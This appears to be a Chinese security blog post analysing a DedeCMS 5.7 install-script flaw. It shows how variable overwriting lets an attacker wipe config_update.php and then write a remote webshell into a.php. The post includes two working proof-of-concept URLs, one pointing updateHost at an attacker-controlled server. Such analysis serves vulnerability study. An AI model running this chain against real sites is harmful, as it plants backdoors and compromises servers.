当前位置: 首页 > news >正文

DedeCMS5.7远程文件包含漏洞分析

看一段php代码

<?php
foreach(Array('_GET','_POST','_COOKIE') as $_request){foreach($$_request as $_k => $_v) ${$_k}= $_v;
}echo 'a:'.$a;echo 'b:'.$b;

这段代码可以实现创建变量并赋值的操作,而且参数都是可控的。

如果之前已经有了相应参数,那就会执行变量覆盖操作。

如果业务还有以下代码

else if($step==11){require_once('../data/admin/config_update.php');$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";$sql_content = file_get_contents($rmurl);$fp = fopen($install_demo_name, 'w');if(fwrite($fp,$sql_content))echo'&nbsp;<font color="green">[/]</font>存在(您可以选择安装进行体验)';else echo'&nbsp;<font color="red">[×]</font>远程获取失败';unset($sql_content);fclose($fp); exit();
}

假设$step可控 $rmurl可控 $install_demo_name可控,是不是就可以实现了任意文件写入的操作了!

要想实现 $rmurl的可控 就得让$updateHost和{$s_lang}可控 。

$updateHost与$s_lang可以用之前的漏洞覆盖这个变量,变为我们的远程服务器地址,远程服务器构造dedecms目录 存一个名为demodata.a.txt的一句话木马文件。

$install_demo_name直接用变量覆盖的方式修改为a.php,如此就可以将木马文件写进a.php了 。

一切看的没什么问题但是:$updateHost 在config_update.php中定义,出现漏洞代码之后,无法使用变量覆盖 这里怎么办!

思路 :利用 $install_demo_name可控的方式将config_update.php 写入空 让其中的$updateHost失去定义, 写入空执行找不到对应的文件为空, $sql_content 自然就为空。

之后用以上思路,是不是就可以利用了。

给出的poc如下

?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php ​
?step=11&insLockfile=a&s_lang=a&install_demo_name=a.php&updateHost=http://1.1.1.1:80/

分析一下第一个payload,由于file_get_contents($rmurl);   $rmurl = $updateHost."dedecms/demodata.a.txt"; 这个文件不存在所以file_get_contents是空的,之后用fwrite($fp,$sql_content)将空值写入../data/admin/config_update.php ​文件。

访问第二个payload,由于../data/admin/config_update.php为空 $updateHost失去了定义,可以被变量覆盖到,    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";$rmurl=我们创建好的http端,且有dedecms/demodata.a.txt这个文件,那么file_get_contents就不是空,而是木马的内容,写入到了同级目录下的a.php文件中。

http://www.lryc.cn/news/165920.html

相关文章:

  • GpsAndMap模块开源,欢迎测评
  • DHT11 温湿度传感器
  • vue3 自定义Hooks
  • 计算机组成与设计硬件软件接口学习1
  • 点云从入门到精通技术详解100篇-基于光谱共焦系统的三维点云数据处理
  • 2023年五一杯数学建模B题快递需求分析问题求解全过程论文及程序
  • 华为云征文|华为云云耀云服务器L实例使用教学(一)
  • 编写算法对输入的一个整数,判断它能否被 3,5,7 整除
  • Linux CentOS7设置时区
  • HBase 记录
  • Fiddler抓http数据
  • 【MySQL】redo log 、 undo log、脏页这些概念是什么?
  • 05ShardingSphere-JDBC水平分片
  • Java多线程并发面试题
  • ELK学习笔记1:简介及安装
  • uniapp——实现电子签名功能——基础积累
  • 【Flink实战系列】Hash collision on user-specified ID “Kafka Source”
  • 面对 HR 的空窗期提问,你会如何回答?
  • 性能测试、负载测试、压力测试、稳定性测试简单区分
  • 如何理解恒流源的阻抗为无穷大
  • 彻底掌握Protobuf编码原理与实战
  • 移动测试之语音识别功能如何测试?
  • Python 图形化界面基础篇:使用网格布局( Grid Layout )排列元素
  • MongoDB副本集搭建
  • 【面试】Redis的热key问题如何发现和解决?
  • LeetCode-热题100-笔记-day21
  • Spring框架中的@Conditional系列注解
  • spring boot + minio 8.5.4 遇到 okhttp3包冲突
  • springboot整合actuator、admin对应用程序进行监控
  • 文举论金:黄金原油全面走势分析策略指导。